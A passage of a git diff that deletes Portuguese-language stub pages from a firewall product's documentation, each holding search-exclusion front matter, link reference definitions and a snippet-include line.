"latest/installation/connectors/mulesoft-flex.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/mulesoft.md b/docs/pt-BR/installation/connectors/mulesoft.md deleted file mode 100644 index 4e73cde34a..0000000000 --- a/docs/pt-BR/installation/connectors/mulesoft.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-pt-BR/installation/api-gateways/mulesoft.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/overview.md b/docs/pt-BR/installation/connectors/overview.md deleted file mode 100644 index 454c8013b9..0000000000 --- a/docs/pt-BR/installation/connectors/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/connectors/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/custom/custom-nginx-version.md b/docs/pt-BR/installation/custom/custom-nginx-version.md deleted file mode 100644 index 8615affe47..0000000000 --- a/docs/pt-BR/installation/custom/custom-nginx-version.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/custom/custom-nginx-version.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/custom/request-custom-deployment.md b/docs/pt-BR/installation/custom/request-custom-deployment.md deleted file mode 100644 index 497c2ba58e..0000000000 --- a/docs/pt-BR/installation/custom/request-custom-deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/custom/request-custom-deployment.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/heroku/docker-image.md b/docs/pt-BR/installation/heroku/docker-image.md deleted file mode 100644 index 93ae4d03c7..0000000000 --- a/docs/pt-BR/installation/heroku/docker-image.md +++ /dev/null @@ -1,9 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[node-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[doc-stat-service]: ../../admin-en/configure-statistics-service.md -[aio-docs]: ../nginx/all-in-one.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md - ---8<-- "latest/installation/heroku/docker-image.md" diff --git a/docs/pt-BR/installation/inline/compute-instances/alibaba/docker-image.md b/docs/pt-BR/installation/inline/compute-instances/alibaba/docker-image.md deleted file mode 100644 index 13c12455fb..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/alibaba/docker-image.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-alibaba-img]: ../../../../images/waf-installation/alibaba-cloud/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../../admin-en/configure-logging.md - ---8<-- "latest-pt-BR/installation/cloud-platforms/alibaba-cloud/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/aws/aws-ami.md b/docs/pt-BR/installation/inline/compute-instances/aws/aws-ami.md deleted file mode 100644 index f300bc6e53..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/aws/aws-ami.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/inline/compute-instances/aws/aws-ami.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/aws/aws-ecs.md b/docs/pt-BR/installation/inline/compute-instances/aws/aws-ecs.md deleted file mode 100644 index 013ca56661..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/aws/aws-ecs.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[aws-copy-container-ip-img]: ../../../../images/waf-installation/aws/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png - ---8<-- "latest-pt-BR/installation/cloud-platforms/aws/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md b/docs/pt-BR/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md deleted file mode 100644 index c945ab6c7a..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md b/docs/pt-BR/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md deleted file mode 100644 index 995bcf6ebb..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/azure/docker-image.md b/docs/pt-BR/installation/inline/compute-instances/azure/docker-image.md deleted file mode 100644 index 03898b8e9e..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/azure/docker-image.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-azure-img]: ../../../../images/waf-installation/azure/container-copy-domain-name.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../../admin-en/configure-logging.md - ---8<-- "latest-pt-BR/installation/cloud-platforms/azure/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/docker/envoy-based.md b/docs/pt-BR/installation/inline/compute-instances/docker/envoy-based.md deleted file mode 100644 index cca1ce2a12..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/docker/envoy-based.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[versioning-policy]: ../../../../../updating-migrating/versioning-policy.md#version-list -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[docker-envoy-configuration-docs]: ../../../../admin-en/configuration-guides/envoy/fine-tuning.md -[graylist-docs]: ../../../../user-guides/ip-lists/graylist.md -[wallarm-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[api-tokens-docs]: ../../../../user-guides/settings/api-tokens.md -[allocate-resources-for-wallarm-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[supported-deployments]: ../../../../installation/supported-deployment-options.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[rate-limit-docs]: ../../../../user-guides/rules/rate-limiting.md - ---8<-- "latest-pt-BR/admin-en/installation-guides/envoy/envoy-docker.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/docker/nginx-based.md b/docs/pt-BR/installation/inline/compute-instances/docker/nginx-based.md deleted file mode 100644 index d2509f96f5..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/docker/nginx-based.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -search: - exclude: true ---- - -[doc-wallarm-mode]: ../../../../admin-en/configure-parameters-en.md#wallarm_mode -[doc-config-params]: ../../../../admin-en/configure-parameters-en.md -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[mount-config-instr]: #run-the-container-mounting-the-configuration-file -[graylist-docs]: ../../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../supported-deployment-options.md -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[aws-ecs-docs]: ../../../cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../../../cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../../../cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../../../cloud-platforms/alibaba-cloud/docker-container.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md - ---8<-- "latest-pt-BR/admin-en/installation-docker-en.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/gcp/gce.md b/docs/pt-BR/installation/inline/compute-instances/gcp/gce.md deleted file mode 100644 index 718bab8ae1..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/gcp/gce.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-gcp-img]: ../../../../images/waf-installation/gcp/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png - ---8<-- "latest-pt-BR/installation/cloud-platforms/gcp/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/gcp/machine-image.md b/docs/pt-BR/installation/inline/compute-instances/gcp/machine-image.md deleted file mode 100644 index dda2004608..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/gcp/machine-image.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -search: - exclude: true ---- - -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/inline/compute-instances/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/compute-instances/linux/all-in-one.md b/docs/pt-BR/installation/inline/compute-instances/linux/all-in-one.md deleted file mode 100644 index 8088a89aed..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/linux/all-in-one.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[platform]: ../../../supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md - ---8<-- "latest-pt-BR/installation/inline/compute-instances/linux/all-in-one.md" diff --git a/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md b/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md deleted file mode 100644 index d3733f9753..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md" diff --git a/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md b/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md deleted file mode 100644 index e38d0c15be..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en/ -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx-plus/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md" diff --git a/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md b/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md deleted file mode 100644 index 445e93e35e..0000000000 --- a/docs/pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md" diff --git a/docs/pt-BR/installation/inline/kubernetes/nginx-ingress-controller.md b/docs/pt-BR/installation/inline/kubernetes/nginx-ingress-controller.md deleted file mode 100644 index 6af012fdf3..0000000000 --- a/docs/pt-BR/installation/inline/kubernetes/nginx-ingress-controller.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -search: - exclude: true ---- - -[ip-list-docs]: ../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[nginx-ing-image]: ../../../images/waf-installation/kubernetes/nginx-ingress-controller.png -[nginx-ing-create-node-img]: ../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[application-docs]: ../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[configure-nginx-ing-controller-docs]: ../../../admin-en/configure-kubernetes-en.md -[controllerwallarmexistingsecret-docs]: ../../../admin-en/configure-kubernetes-en.md#controllerwallarmexistingsecret -[best-practices-for-public-ip]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md -[best-practices-for-high-availability]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md -[best-practices-for-ingress-monitoring]: ../../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation#api-and-node-tokens-for-node-creation -[chaining-doc]: ../../../admin-en/chaining-wallarm-and-other-ingress-controllers.md - ---8<-- "latest-pt-BR/admin-en/installation-kubernetes-en.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/customization.md b/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 2955f1fde0..0000000000 --- a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -search: - exclude: true ---- - -[single-split-containers-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/single-split-deployment.png -[port-forwarding-with-iptables-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-with-iptables.png -[port-forwarding-without-iptables-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-without-iptables.png -[allocate-resources-for-node-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[disable-acl-directive-docs]: ../../../../admin-en/configure-parameters-en.md#disable_acl -[wallarm-attack-prevention-best-practices-docs]: ../../../../quickstart/attack-prevention-best-practices.md - ---8<-- "latest-pt-BR/installation/kubernetes/sidecar-proxy/customization.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/deployment.md b/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index 54d49b2ea3..0000000000 --- a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -search: - exclude: true ---- - -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md 